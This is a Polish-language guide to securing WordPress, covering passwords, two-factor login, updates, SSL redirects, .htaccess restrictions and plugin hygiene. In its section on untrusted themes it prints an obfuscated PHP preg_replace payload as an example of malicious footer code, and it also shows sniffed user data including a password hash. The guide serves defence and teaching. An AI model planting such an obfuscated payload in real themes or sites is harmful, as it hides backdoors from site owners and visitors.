Kompendium: Jak zabezpieczyć WordPressa?

WordPress jest jednym z najpopularniejszych systemów CMS na świecie. W zależności od statystyk działa na nim od kilkunastu do nawet kilkudziesięciu milionów stron internetowych. Wzrost popularności WordPressa przekłada się na wzrost ataków z nim związanych. Przed wieloma z nich, można się ustrzec, zabezpieczając swoją stronę za pomocą prostych kroków. I o tym właśnie będzie ten artykuł.

Tematy związane z bezpieczeństwem i zabezpieczaniem serwisów www wymagają troszkę poświęcenia czasu, na wdrożenie dobrych rozwiązań. Nie ma magicznego guzika „Zabezpiecz Mojego WordPressa”, czy wtyczki, która rozwiąże za nas ten problem. Mimo tego, że twórcy WordPressa podchodzą do tematu bardzo poważnie, jest spora lista rzeczy, o jaką sami musimy zadbać.

Dlatego mam dla Ciebie dobrą i jeszcze lepszą wiadomość. Dobra jest taka, że ten artykuł jest naprawdę długi i obszerny. Jaka jest lepsza wiadomość? Wraz z jego objętością, towarzyszy mu także jakość. W jednym miejscu znajdziesz omówienie najważniejszych tematów związanych z bezpieczeństwem WordPressa, dzięki czemu nie będziesz musiał skakać po różnych stronach i artykułach.

Zaczynamy?

Podcast

If you would rather listen to us than read the article, below you will find our podcast. This is the audio version of this article. You can listen to it through the system’s „Podcasts” application on iOS, your choice of Android, iTunes, YouTube, SoundCloud i Spreaker.

Ogólne zalecenia

Zaczynając zabezpieczać swoją stronę opartą o WordPressa, warto skupić się na kilku ogólnych zagadnieniach. Tyczą się one nie tylko samego CMS-a, ale również wszystkich rzeczy z nim związanych, które mają wpływ na jego bezpieczeństwo.

Bardzo ciekawe tematy związane z podnoszeniem bezpieczeństwa swojego komputera można posłuchać w podcaście Niebezpiecznika.

Dbaj o jakość haseł

Dane logowania do serwisów to jedne z najbardziej pożądanych przez cyberprzestępców informacji, które mogą wycieknąć przy okazji ataków. Najczęściej popełnianym błędem jest korzystanie z tego samego hasła do wielu serwisów oraz używanie po prostu za słabych haseł.

Praktycznie żadne zabezpieczenia, nie będą skuteczne, jeżeli będziemy używać słabego hasła. I tutaj nie chodzi tylko o trudne hasło do samego panelu administratora WordPressa, ale również serwera, poczty e‑mail czy panelu klienta w firmie hostingowej. Jeżeli używamy prostego hasła i – co gorsza – mamy je takie samo w kilku serwisach, to niekoniecznie musi ono zostać złamane na naszej witrynie. Atakujący może złamać hasła w innym serwisie, a z racji tego, że wykorzystujemy je wszędzie, po prostu zalogować się do WordPressa.

Staraj się tworzyć trudne hasła, dodając znaki specjalne, małe i wielkie litery oraz cyfry. Proste hasła są łamane metodą siłową (ang. Brute-force). Dzisiejsze komputery potrafią w ułamku sekund odgadnąć takie hasło.

Do każdego serwisu warto mieć inne hasło, a do jego zapamiętania może nam posłużyć taka aplikacja jak 1password, KeePass lub LastPass.

Poza samym hasłem warto wspomnieć jeszcze o metodzie związanej z jego zapomnieniem. Przypomnienie hasła często jest wykorzystywane do jego złamania. Najczęściej jest to jakieś pytanie pomocnicze w stylu „Imię mojego psa”, „Ulubiona potrawa”. Tego typu informacje, są dostępne publicznie w sieciach społecznościowych, zatem atakujący może ich użyć do zmiany Twojego hasła na skrzynce mailowej, na którą potem wyśle sobie reset hasła do WordPressa.

To, co osobiście polecam każdemu to włączenie autoryzacji dwuskładnikowej (2FA – Two Factor Authentication) na najważniejszych kontach (poczta, profile w serwisach społecznościowych, ważne strony internetowe). Takie podejście drastycznie podnosi poziom bezpieczeństwa kont chronionych w ten sposób.

Dwuskładnikowe uwierzytelnianie

Zazwyczaj do wielu serwisów logujemy się za pomocą loginu oraz hasła. Dwuskładnikowe uwierzytelnienie (ang. Two Factor Authentication, 2FA), jest kolejną barierą jaką musi pokonać atakujący, aby dostać się do serwisu.

Idea działania autoryzacji dwuskładnikowej jest prosta – poza danymi logowania, użytkownik musi podać dodatkową informację lub wykonać dodatkową operację, aby się autoryzować. Może to być SMS, kod z aplikacji albo kliknięcie link wysłany na adres e‑mail powiązany z kontem. Chodzi o to, aby do zalogowania się potrzebne było posiadanie dostępu do danych, których może nie mieć potencjalny atakujący (telefon, inne konto itd.).

Większość popularnych serwisów posiada wsparcie dla 2FA, dlatego warto ją sobie włączyć i spać spokojniej Dodatkowo często autoryzacja 2FA wymagana jest np. tylko na nowych urządzeniach/przeglądarkach, z których się logujemy – dlatego nie trzeba będzie podawać np. kodu autoryzacyjnego przy każdym logowaniu (choć można tak robić dla jeszcze lepszego bezpieczeństwa).

Metoda ta zabezpiecza dostęp do serwisu, nawet w przypadku, kiedy Twoje hasło zostanie złamane. Dlatego tam, gdzie tylko jest to możliwe, należy włączyć tę usługę. Dla przykładu dostęp do Panelu Klienta oraz panelu hostingu jest u nas zabezpieczany przez 2FA.

W samym WordPressie również jest możliwość włączenia dwuskładnikowego uwierzytelnienia do panelu administratora.

Dbaj o to, kto ma dostępy do Twoich usług

Tworząc i rozwijając serwis internetowy, bardzo często korzystamy z usług zewnętrznych osób lub firm, do wykonania pewnych zadań. Udostępniamy programistom, ekipie od SEO czy redaktorom, dostępy do naszej strony, serwera hostingowego lub innych usług. Niestety po jakimś czasie, zapominamy o usuwaniu kont osób, które już z nami nie współpracują.

Lista osób, jaka ma dostęp do naszego serwisu z jednej strony jest ważna z punktu widzenia RODO, a z drugiej strony ze względów bezpieczeństwa. Kończąc współpracę z daną osobą czy firmą, należy pamiętać o zmianie haseł lub usunięciu jej dostępów. Bardzo często tego typu czynności są po prostu zapominane.

Unikaj przestarzałego oprogramowania

Aktualizacje oprogramowania, systemu operacyjnego czy aplikacji na telefonie komórkowym, są już codziennością. Dbając o bezpieczeństwo swojego komputera czy strony WWW, nie należy tego pomijać. Nowa wersja programu, nie tylko dostarcza nam kolejne funkcje, ale również poprawia błędy znalezione w starszej wersji. Wiele z tych błędów tyczy się właśnie bezpieczeństwa.

Pracując na komputerze z niezaktualizowanym systemem operacyjnym, antywirusem czy programem do łączenia się z serwerem, możemy narazić na niebezpieczeństwo siebie lub odwiedzających naszą stronę www.

Istnieje wiele wirusów komputerowych, które potrafią wykraść z naszego komputera hasła do serwerów z przestarzałych wersji takich programów jak: FileZilla, WinSCP czy Total Commander. Co gorsza, potrafią one wykorzystać wykradzione hasła do zainfekowania stron na serwerze, do jakiego uzyskały dostęp.

Zalecenia po stronie serwera lub hostingu

Od zabezpieczenia serwera, hostingu jest jego administrator lub firma hostingowa, dlatego tutaj skupię się aspektach, na jakie mamy sami wpływ i co możemy zrobić, aby podnieść bezpieczeństwo znajdujących się na nim stron.

Nie traktuj serwera jak śmietnik

Na serwerze powinny znajdować się jedynie najpotrzebniejsze rzeczy, z których będziemy korzystać my oraz nasi odwiedzający. Utrzymując porządek w katalogach, bazach danych, kontach pocztowych, prościej nam będzie aktualizować wszystko lub pilnować dostępu do usług.

Trzymanie na serwerze, różnego rodzaju testowych skryptów, zapomnianych witryn czy kolejnej wersji strony w katalogu o nazwie /old, daje atakującym duże pole manewru. Mogą oni uzyskać dostęp do Twoich danych, poprzez właśnie takie zapomniane pliki gdzieś na dysku.

Bałagan na hostingu to również świetne miejsce do ukrycia wszelkiego rodzaju złośliwego oprogramowania (ang. malware) takiego jak: konie trojańskie, robaki internetowe, backdoory czy koparki kryptowalut. Administratorom i programistom będzie przez to równie ciężko zidentyfikować zagrożenie i je usunąć.

Nie dbając o porządek w plikach i bazach danych, możemy mieć również problem z wykonywaniem kopii zapasowej, a co gorsza szybszym odzyskaniem plików. Im więcej niepotrzebnych rzeczy trzymane jest na serwerze, tym dłużej trwa wykonanie backupu. Przywrócenie pliku również może być opóźnione z tego powodu.

Pamiętaj, że serwer to nie śmietnik.

Użytkownik, hasło oraz baza danych

Jedną z najprostszych czynności, jaką możemy wykonać, jest tworzenie osobnej bazy danych oraz użytkownika dla każdego serwisu. Zapewni nam to przede wszystkim porządek. W przypadku konieczności przywrócenia bazy danych będziemy mogli przywrócić tą konkretną dla danego serwisu. Kolejną zaletą takiego rozwiązania, jest tworzenie osobnych użytkowników i haseł do stron. Każda instancja WordPressa, czy innego skryptu, korzysta ze swoich danych dostępowych.

Tworząc bazę danych, również warto nadać jej unikalną nazwę, tak samo jak użytkownikowi, który będzie miał do niej dostęp. Nie jest to idealne zabezpieczenie i można je klasyfikować jako tak zwane głębokie ukrycie, ale napewno w jakiś sposób utrudni dostęp do danych.

Unikaj również zdalnych połączeń do bazy danych. Serwer MySQL / MariaDB w domyślnej konfiguracji nie szyfruje swoich połączeń. Łącząc się np. z biura, domu czy kawiarni do bazy danych swojego hostingu, narażasz się na podsłuchiwanie połączenia. W konsekwencji atakujący będzie mógł odczytać dane do Twojego WordPressa jak, chociażby login, mail czy hash hasła.

select * from wp_users;
wp_users
display_name
display_name
mateusz"$P$BxZBPEad1Mxq0lZL9SCzdAgUQz9nyI.
mateuszmateusz@exadop.org
2017-03-21 12:24:18
mateusz

Wyżej widzimy przykład podsłuchanych danych w momencie logowania się użytkownika mateusz do panelu WordPressa. Można też odczytać hash hasła oraz próbować go złamać.

Skorzystaj z certyfikatu SSL

O certyfikatach SSL można pisać naprawdę dużo. Najważniejszą zasadą, jest ich używanie. Nieważne, czy korzystasz z darmowego, czy płatnego certyfikatu, zabezpieczasz Twoją stronę przed podsłuchem oraz różnymi atakami np. atak man in the middle.

Warto również zadbać, aby serwer, na którym instalujemy certyfikat, posiadał poprawną konfigurację. Możemy to sprawdzić za pomocą różnych narzędzi, dostępnych w internecie, lub zapytać się administratora serwera, hostingu.

Korzystanie z szyfrowanego połączenia https, to nie tylko bezpieczeństwo, ale również dostęp do HTTP/2, które przyspiesza czas ładowanie się strony www.

Kolejnym krokiem będzie włączenie SSL w WordPressie. Możemy to zrobić na dwa sposoby: szybki i niepoprawny lub ciut trudniejszy i poprawny.

Jak nie włączać SSL w WordPressie

Pierwsza metoda to instalacja wtyczki Really Simple SSL. Polecana jest ona przez wielu blogerów, osoby nietechniczne z racji swojej prostoty. Włączenie SSL, sprowadza się tutaj tak naprawdę do zainstalowania wtyczki i kliknięcia Go ahead, activate SSL.

Przeniesienie strony z HTTP na HTTPS jest jednorazową operacją i tak powinno być traktowane. Jeśli po włączeniu SSL dla strony pojawiają się jakieś problemy (strona ma dołączone pliki CSS/JS/obrazki udostępniane po połączeniu nieszyfrowanym, itp.), to należy te problemy rozpoznać i naprawić.

Używanie w tym celu wtyczki, która próbuje odnaleźć tego typu problemy podczas każdej odsłony i dopiero wtedy je naprawić, jest pozbawione głębszego sensu. Jest to podejście niewydajne (bo problem cały czas występuje), a także niebezpieczne (co, jeśli dany plik nie jest dostępny po protokole HTTPS?)

Dodatkowo jest to typowy przykład zbędnej wtyczki — czyli takiej, która jest obecna, obciąża stronę, podnosi koszt jej utrzymania (aktualizacje, pilnowanie bezpieczeństwa), a wykonuje operacje, które wystarczyłoby wykonać jeden raz i to bez użycia żadnej wtyczki.

Krzysztof Dróżdż, WPmagus – magicy od WordPressa.

Korzystanie z tej wtyczki, może negatywnie wpłynąć, na działanie serwera i strony, co w konsekwencji może doprowadzić do jej wolniejszego działania. Warto zapoznać się również z artykułem twórców tej wtyczki.

Jak poprawnie włączyć SSL w WordPressie

Jeżeli instalujemy WordPressa korzystając z połączenia SSL (https://) to zostaje nam wykonanie jedynie przekierowania, by serwer kierował ruch zawsze na wersję szyfrowaną. Można to zrealizować przy pomocy .htaccess:

RewriteEngine On
RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

Jeżeli korzystamy z certyfikatów Let’s Encrypt to regułka powinna wyglądać następująco:

RewriteEngine On
RewriteCond %{REQUEST_URI} !\.well-known/acme-challenge
RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]

Jeżeli jednak nie mieliśmy od początku wdrożonego certyfikatu SSL, to poza jego wdrożeniem i przekierowaniami musimy jeszcze podmienić linki w bazie danych. WordPress kiedy działał bez https, zapisywał linki w postach do np. obrazków w formie http. Samo przekierowanie strony na wersję z SSL spowoduje jedynie problem zwany Mixed Content.

Aby temu zapobiec można wykorzystać wtyczkę Better Search Replace, która poprawi wszystkie linki z http na te z https.

W polu Search for wpisujemy adres naszej strony po http np. http://thecamels.org/ a w polu Replace with już wersję z SSL, czyli https://thecamels.org. Zaznaczamy wszystkie tabele, odznaczamy Run as dry run? i klikamy guzik na dole.

Przed zmianą adresów warto wykonać dodatkową kopię zapasową. Po wykonanych zmianach, wtyczkę usuwamy, aby zachować na serwerze porządek.

Korzystaj z najnowszych wersji np. PHP, MySQL itp.

Aktualizacja oprogramowania na Twoim komputerze to jedno, natomiast drugą sprawą jest wybór najnowszych wersji programów po stronie serwera. Wiele firm hostingowych, udostępnia na swoich kontach różne wersje języka PHP. Niestety bardzo często, są to przestarzałe, dziurawe i niebezpieczne wersje tego języka. Korzystanie z nich, nie dość, że niesie ze sobą tak zwany dług technologiczny, to również jest przyczyną wielu włamań na WordPressa.

Zmiana oprogramowania na nowsze, poza kwestiami bezpieczeństwa, bardzo często przynosi również poprawę wydajności. Dobrym przykładem może być wybór wersji PHP 7.1, która zwiększyła wydajność stron nawet o 400%.

Na stronie secure.php.net, możemy zobaczyć, jaka jest aktualnie wspierana wersja PHP i z jakiej powinno się aktualnie korzystać.

Rozdziel środowisko testowe od produkcyjnego

Tworząc duży serwis, sklep internetowy czy po prostu bloga, często musimy sprawdzić coś na testowej wersji strony. W idealnym świecie takie wersje są trzymane na osobnych serwerach lub kontach hostingowych. Dzięki temu możemy do środowiska testowego przydzielić dostępy programistom, którzy nie powinni mieć wglądu w nasze środowisko produkcyjne.

Takie rozwiązanie, wymusza również, dbanie o porządek na serwerze. Na hostingu ze stroną produkcyjną, nie znajdziemy wtedy testowych wersji oprogramowania, które może posiadać błędy. Wiele znanych serwisów internetowych padło ofiarą ataku, właśnie poprzez niezabezpieczone wersje testowe. Warto unikać tworzenia beta wersji swojej strony w adresach takich jak:

• test.adres-mojej-strony.pl
• beta.adres-mojej-strony.pl
• moja-strona.pl/test
• itp.

Są to bardzo popularne adresy, do których roboty sieciowe będą umieć dotrzeć i starać się je zainfekować. Jeżeli już używamy takiego adresu, warto zabezpieczyć go przed dostępem z zewnątrz za pomocą hasła.

Jedną z metod bezpiecznego wdrażania zmian na środowisku, może być wykorzystanie deploymentu oprogramowania metodą Blue-Green. W dużych systemach, do wdrażania zmian na środowisku produkcyjnym, możemy wykorzystać Continuous Integration, Continuous Delivery oraz Continuous Deployment.

Przenosząc zmiany ze środowiska testowego na środowisko produkcyjne, należy również pamiętać o wyłączeniu trybu debugowania.

Unikaj auto instalatorów

Wszelkiego rodzaju auto instalatory pomagają nam w pierwszym uruchomieniu WordPressa. Instalacja tego CMS-a, sprowadza się do kliknięcia jednego przycisku i nie jest wcale dużo łatwiejsza od ręcznego zainstalowania tego CMSa.

Niestety, instalowany w ten sposób WordPress, bardzo często jest nieaktualny. Również auto instalator dostarczy do Twojej strony, wiele motywów oraz wtyczek, z których nie będziesz korzystać. Wprowadza to jedynie bałagan na serwerze oraz dodatkowe oprogramowanie, o które musisz dbać.

Auto instalatory w wielu przypadkach działają w taki sposób, że tworzą klona danej instalacji WordPressa. Skutkiem tego jest fakt, że klucze mogą być takie same na wielu stronach, co obniża ich bezpieczeństwo.

Zalecenia po stronie WordPressa

Kolejnym krokiem jest wprowadzenie zabezpieczeń i dobrych praktyk po stronie już samego WordPressa. Większość z tych czynności można wykonać samodzielnie, bez konieczności instalowania zbędnych wtyczek. Tak jak trzeba dbać o samochód, regularnie jeździć z nim na przeglądy i naprawiać usterki, tak samo jest z WordPressem. Posiadanie strony internetowej, poza korzyściami z niej płynącymi to również kilka obowiązków.

Aktualizuj WordPressa, jego wtyczki oraz motywy

Dbanie o WordPressa to przede wszystkim aktualizowanie jego elementów (core, wtyczki oraz motywy). Najważniejszą rzeczą jest wykonywanie aktualizacji związanych z bezpieczeństwem. Nie musimy spieszyć się, kiedy wyszła nowa wersja wtyczki, która dodaje poprawki w tłumaczeniu hebrajskim (o ile nie korzystamy z tego języka). Do aktualizacji należy podejść w pragmatyczny sposób.

Jeżeli nie dbamy o porządek w naszym WordPressie, to może czekać nas aktualizacja wielu nieużywanych motywów, które również mogą zawierać dziurę, która zostanie wykorzystana do włamania się na stronę.

Różnica pomiędzy update i upgrade

Jednym z najbardziej niejednoznacznych pojęć w polskiej nomenklaturze WordPressowej jest pojęcie aktualizacji. Wynika to z tego, że w języku angielskim ma ono dwa odpowiedniki: update oraz upgrade.

Update to aktualizacja niosąca ze sobą małe zmiany – najczęściej o charakterze krytycznych poprawek zepsutych funkcji oraz bezpieczeństwa. Upgrade to z kolei aktualizacja, która poza poprawkami wnosi też do oprogramowania nowe funkcje.

W wypadku updateu najczęściej nie ma ryzyka wystąpienia niekompatybilności z zainstalowanymi motywami i wtyczkami, natomiast gdy przeprowadzamy upgrade – istnieje pewne ryzyko, że zainstalowane motywy i wtyczki mogą przestać poprawnie działać – zwłaszcza gdy upgrade wykonamy zaraz po jego pojawieniu się – często twórcy rozszerzeń dla WordPressa potrzebują trochę czasu, by wydać kompatybilne z nową wersją oprogramowanie.

Jak odróżnić update od upgradeu?

W wypadku WordPressa wystarczy spojrzeć na wersję. WordPress korzysta ze sposobu wersjonowania bazującego na trzech liczbach np. 4.7.0. Jeżeli zmieniła się tylko ostatnia liczba, to mamy do czynienia z update. Natomiast w sytuacji, gdy zmieniła się pierwsza lub druga liczba, to mamy do czynienia z upgradem.

Przykłady:

• Posiadam zainstalowaną wersję 4.7.1, otrzymałem informację, że wydano WordPressa w wersji 4.7.2 – jest to update.
• Posiadam zainstalowaną wersję 4.6.4, otrzymałem informację, że wydano WordPressa w wersji 4.7.0 – jest to upgrade.

Z racji tego, że każdy update wnosi zwyczajowo niewielkie zmiany, często twórcy rozszerzeń zapisują wersję WordPressa jako np. 4.5.* – odnosząc się wtedy do wszystkich wersji zaczynających się od liczb 4.5.

Zmiana pierwszej liczby wersji w wypadku WordPressa najprawdopodobniej nie będzie oznaczać drastycznych zmian (jak w wypadku dużej grupy oprogramowania). Zatem aktualizacja WordPressa z wersji 4.9.* do wersji 5.0.0 będzie prawdopodobnie nieść ze sobą podobną ilość zmian jak w wypadku aktualizacji WordPressa 4.5.* do WordPressa 4.6.0

Jak prawidłowo wykonać aktualizację?

Niezależnie od tego, czy wykonujemy update, czy upgrade dobrą praktyką jest przygotowanie kopii zapasowej swojego WordPressa przed dokonaniem aktualizacji.

Szansa, że stanie się coś złego podczas aktualizacji zależy też bardzo od złożoności strony i rozwiązań, z jakich strona korzysta, niemniej jednak warto się zawsze zabezpieczyć kopią zapasową, szczególnie w sytuacji, gdy nie dysponujemy odpowiednią wiedzą techniczną.

Możemy również sprawdzić aktualizacje na środowisku testowym.

Kiedy aktualizacja jest konieczna?

Teoria powtarzana wszędzie mówi, że powinno się aktualizować wraz z pojawieniem się informacji o nowej wersji. Warto jednak stosować bardziej pragmatyczne podejście – aktualizacje wykonywać niemal natychmiast, gdy chodzi o aktualizacje bezpieczeństwa. W pozostałych wypadkach można pozwolić sobie na zwłokę, szczególnie gdy mówimy o aktualizacjach, które wykonują upgrade.

Jeżeli nie potrzebujemy koniecznie jakiejś nowej funkcji, warto poczekać kilka dni, aż nowa wersja zostanie sprawdzona przez innych użytkowników. Bardzo często bowiem uciążliwe błędy pojawiają się właśnie przy większych zmianach w kodzie WordPressa czy wtyczek.

Warto pamiętać, że wcale nie musimy mieć najnowszej wersji WordPressa, by posiadać bezpieczną witrynę. Przykładem mogą być wydawane łatki bezpieczeństwa nawet dla WordPressa 3.7. Oczywiście korzystanie z tak starej wersji ogranicza nas mocno, jeżeli chodzi o dostępność wtyczek i motywów, które najczęściej są testowane tylko do dwóch wydań wstecz.

Automatyczne aktualizacje

WordPress domyślnie automatycznie instaluje aktualizacje będące updatem – gdyż ryzyko, że coś pójdzie nie tak, jest tutaj niewielkie. Istnieje możliwość odpowiedniego skonfigurowania WordPressa tak by automatycznie aktualizował swój kod, jak również kod wtyczek, motywów czy tłumaczeń.

Warto się zastanowić, czy włączanie automatycznej aktualizacji wtyczek i motywów oraz wykonywanie automatycznych upgrade’ów WordPressa, jest zalecane. Przy dużych i skomplikowanych serwisach, może to prowadzić do sytuacji, gdy strona będzie przez pewien czas niedostępna – do czasu, gdy nie odkryjemy problemów ze stroną.

Warto jednak pamiętać, że mimo automatycznych aktualizacji, warto co jakiś czas sprawdzić, czy faktycznie się wykonały. Czasami się to nie udaje i trzeba zrobić to ręcznie.

Instaluj wtyczki i motywy tylko ze sprawdzonych źródeł

Jednym z czynników, dla których WordPress jest taki popularny to ilość wtyczek oraz motywów jaką możemy dodać do niego. W sieci znajdziemy pełno stron oferujących darmowe motywy oraz wtyczki. Na pierwszy rzut oka, ciężko nam jest określić czy to co pobieramy i instalujemy w WordPressie jest bezpieczne. Często nam brakuje wiedzy aby wykonać przejrzenie kodu danego motywu i wtyczki.

Tak jak poniżej, może wyglądać stopka motywu jaki instalujemy. Mogą to być zaciemnione informacje na temat autora motywu, albo złośliwy kod. Z pomocą mogą przyjść takie narzędzia jak UnPHP, ale i one nie dają rady bardzo często.

<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c\200\x4"^"\273\40\13\312\x96\265\x16\xbc\x98\xbf\x13\374\xd1\x7b\x4b\15\32\x8\104\xf6\xbe\53\2\345\113\xa3\352\114\x92\155\111\xbb\xb5\251\77","\206\65\x30\x2f\160\x2\77\x56\x25\x9a\xf\x6\xec\317\xeb\x10\x86\x0\244\364\255\x57\x53\xf3\x8d\xb9\13\x5c\2\272\xc5\x97\215\347\372\x83\x74\367\x28\x2e\xd1\x36\x72\177\223\x3c\xb2\x1a\x96\271\127\x3b\337\xcf\277\317\xb7\4\214\271\xb2\235\71\xa6\x3d\205\325\127\336\70\xd6\x7c"^"\312\7\x58\131\x12\x55\152\146\151\250\76\166\210\207\x9b\x22\xdf\127\xcc\x9e\xe1\144\x11\302\324\324\x73\x2c\133\213\374\xf8\xe9\240\313\xf0\x38\305\x6e\x54\xb2\4\x24\x4f\360\105\213\152\xf4\xee\64\x4d\275\x88\206\xa1\325\x35\265\xc3\xd0\xca\177\xd5\x5f\xc6\xe0\40\274\x55\xb5\x41"); ?>

Jeżeli decydujemy się na dodanie motywu lub szablonu, to warto sięgnąć do oficjalnego repozytorium motywów oraz wtyczek. Trafiają tam bowiem jedynie te, które przejdą proces weryfikacji pod kątem m.in. występowania złośliwego kodu. Samodzielnie można również zgłosić się do zespołu sprawdzającego tego typu rzeczy w ramach Contributor Day.

Przed zainstalowaniem wtyczki, warto sprawdzić proporcję ocen pozytywnych (5 i 4) do ocen negatywnych (1 i 2). Równie ważne są recenzje wystawiane przez użytkowników – może się okazać, że opis wtyczki jest mylący albo wtyczka nie robi tego czego byśmy oczekiwali. Warto też sprawdzić, czy wtyczka jest nadal aktualizowana i rozwijana. Może się okazać, że jest dawno porzucona i nikt nie naprawi w niej błędów.

Kolejnym takim miejscem skąd pobierać dodatki są serwisy oferujące je w płatnych wersjach. Takim przykładem jest ThemeForest oraz CodeCanyon). Warto pamiętać, że płatne wtyczki lub motywy również mogą być dziurawe i należy je aktualizować. Sporo poważnych błędów znajdowano w płatnych wtyczkach takich jak RevSlider czy WPML.

Warto również zwrócić uwagę skąd pobierany jest płatny motyw lub wtyczka. Wersje torrentowe czy chomikowe, bardzo często posiadają zaszyte w sobie konie trojańskie i inny złośliwy kod.

Zapoznaj się również z polecanymi oraz zakazanymi wtyczkami do WordPressa.

Zmień prefiks w bazie danych

Instalując WordPressa ustalamy jego prefiks dla nazw tabel. Domyślnie jest to wp_. Rozwiązanie to pozwala na zainstalowanie kilku WordPressów w jednej bazie danych. Dobrą praktyką jest ustawienie własnego prefiksu np. dws_. Takie rozwiązanie utrudnia wielu robotom sieciowym, odszukanie konkretnych tabel w bazie danych.

Przenieś dane o bazie

Domyślnie loginy oraz hasła do bazy danych zapisane są w pliku wp-config.php. Jeżeli na serwerze znajdzie się jakiś malware, który szuka tam danych do bazy danych, to możemy utrudnić jemu to zadanie. Zastępujemy sekcję:

define('DB_NAME', 'database');
define('DB_USER', 'user');
define('DB_PASSWORD', 'password');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

kodem:

require_once "wp-config-database.php";

a ją samą kopiujemy do nowego pliku wp-config-database.php, który umieszczamy na serwerze. Plik taki możemy również wynieść poza główny katalog strony (Document Root) i zmienić odpowiednią do niego ścieżkę.

Zmień login oraz ID administratora

Starsze wersje WordPressa tworzyły podczas instalacji domyślne konto administratora o nazwie admin. Od wersji 3.0 możemy sami ustalić nazwę głównego konta. Warto zmienić je na inne niż popularne admini, administrator, a na pewno w jakiś sposób utrudnimy w dostępnie do naszej strony. Pamiętaj o ustawieniu trudnego hasła i włączeniu autoryzacji dwuskładnikowej.

Ogranicz dostęp do panelu WordPressa za pomocą .htaccess

Aby uniknąć problemów z atakami typu Brute-Force na panel administratora WordPress, najprostszą metodą jest dodanie autoryzacji BaseAuth. Może być ona stosowana równolegle z dwuskładnikowym uwierzytelnianiem.

Aby ją dodać tworzymy plik .htaccess w katalogu wp-admin:

AuthType Basic
AuthName "test"
AuthUserFile "/jakas/sciezka/.htpasswd"
require valid-user

<FilesMatch "admin-ajax\.php|admin-post\.php">
    Order allow,deny
    Allow from all
    Satisfy any
</FilesMatch>

Plik .htpasswd powinien znajdować się w ścieżce poza głównym katalogiem strony. Jego składnia to definicja jednego użytkownika z hasłem zapisanym jako hash per linia. Dodatkowo w przypadku hostingów wykorzystujących cPanel, należy dodać w głównym pliku .htaccess :

RewriteCond %{REQUEST_FILENAME} !\.shtml$

Wyłącz edycję plików motywów oraz wtyczek

Edycja wtyczek oraz motywów z poziomu panelu WordPressa praktycznie się nie przydaje. Praca z tym edytorem jest ciężka. Niestety domyślnie jest on włączony i niektóre złośliwe wtyczki potrafią za jego pomocą dodać swój kod. Tak właśnie może rozprzestrzeniać się malware. Aby wyłączyć edytor, należy w pliku wp-config.php dodać kod:

define( 'DISALLOW_FILE_EDIT', true );

Wyłącz rejestrację użytkowników, jeżeli ich nie potrzebujesz

Niezabezpieczony formularz rejestracyjny może być podwaliną do przejęcia kontroli nad stroną. W przeszłości już kilka razy zdarzało się, że atakujący przy pomocy odpowiednio spreparowanych danych był w stanie założyć przy jego użyciu, konto nowego administratora WordPress.

Innym potencjalnym zagrożeniem jest masowa rejestracja setek, jak nie tysięcy kont. W efekcie takiego działania nasza domena/konto może być zablokowanie przez usługodawcę w wyniku podejrzenia o rozsyłanie SPAMu.

Aby przed powyższym się uchronić należy wyłączyć możliwość rejestracji nowych użytkowników w WordPress. Jeżeli natomiast nie możemy – gdyż zależy nam na rejestrowaniu się nowych użytkowników, gdyż prowadzimy np. sklep; to w takim przypadku musimy zadbać o jak najlepszym zabezpieczeniu się przed potencjalnymi zagrożeniami związanymi z rejestracją.
Aby wyłączyć rejestrację nowych użytkowników należy:

1. Zaloguj się do panelu administracyjnego
2. Przejdziemy do Ustawień ogólnych
3. Odznaczamy „Każdy może się zarejestrować”

Taka operacja spowoduje, że nowi użytkownicy nie będą mogli się już rejestrować. W efekcie tych czynności na stronie logowania do panelu administracyjnego zniknie link do rejestracji. Także próba wejścia na wp-login.php?action=register spowoduje przekierowanie na stronę logowania do panelu administracyjnego WordPress.

Włącz dwuskładnikowe uwierzytelnianie w WordPressie

Włączenie tej funkcji w WordPressie jest banalnie proste i sprowadza się do zainstalowania wtyczki Two Factor Authentication. Po jej zainstalowaniu pojawi nam się w panelu nowa zakładka Two Factor Auth, w której możemy włączyć autoryzację dwuskładnikową dla swojego konta.

Dodatkowo uzyskamy dostęp do obrazka, który należy zeskanować w aplikacji Google Authenticator (lub np. Authy, 1Password), dostępnej dla telefonów z systemem Android lub iOS. Przy kolejnym logowaniu po podaniu danych logowania, pojawi nam się dodatkowy ekran z prośbą o podanie jednorazowego kodu z aplikacji.

Jeżeli utracimy dostęp do telefonu z aplikacją do generowania tokenów, możemy tymczasowo wyłączyć wtyczkę poprzez dodanie do wp-config.php następującej linijki:

define('TWO_FACTOR_DISABLE', true);

Osoby bardziej przewrażliwione na punkcie bezpieczeństwa, mogą pokusić się o zakup sprzętowego klucza autoryzującego – takie klucze tworzy np. firma yubico.

To rozwiązanie ma tę zaletę, że aby się zalogować należy, wpiąć do napędu USB klucz sprzętowy – bez niego zalogowanie się będzie niemożliwe. Jednocześnie nie musimy przepisywać kodów jednorazowych.

Aplikacja 1Password, w wersji płatnej świetnie rozwiązała problem haseł jednorazowych. Najlepsze w tym wszystkim jest to, że aplikacja jest w stanie automatycznie skopiować podczas logowania się kod jednorazowy do schowka, co znacząco ułatwia proces logowania się.

Warto również rozważyć wtyczkę Two-Factor, która znajduje się w beta testach WordPressa. Oznacza to, że może w przyszłości zostanie włączona do samego WordPressa.

Dbaj o porządek w WordPressie usuwając zbędne wtyczki i motywy

Porządek i jeszcze raz porządek. Wiele włamań do samego WordPressa udaje się poprzez stare, niezaktualizowane lub po prostu nie używane motywy oraz wtyczki. Nie wystarczy je wyłączyć z poziomu panelu, gdyż dalej znajdują się one na serwerze i mogą być wykorzystane do ataku na stronę.

Przykładem może być odnaleziona luka bezpieczeństwa w domyślnym motywie TwentyFifteen, która umożliwiała na atak typu DOM-based Cross-Site Scripting (XSS).

Dokładnie to samo tyczy się wtyczek jakie instalujemy. Jeżeli z nich już nie korzystamy, albo są nam zbędne to należy je usunąć. Warto też sprawdzić jakie posiadamy wtyczki. 

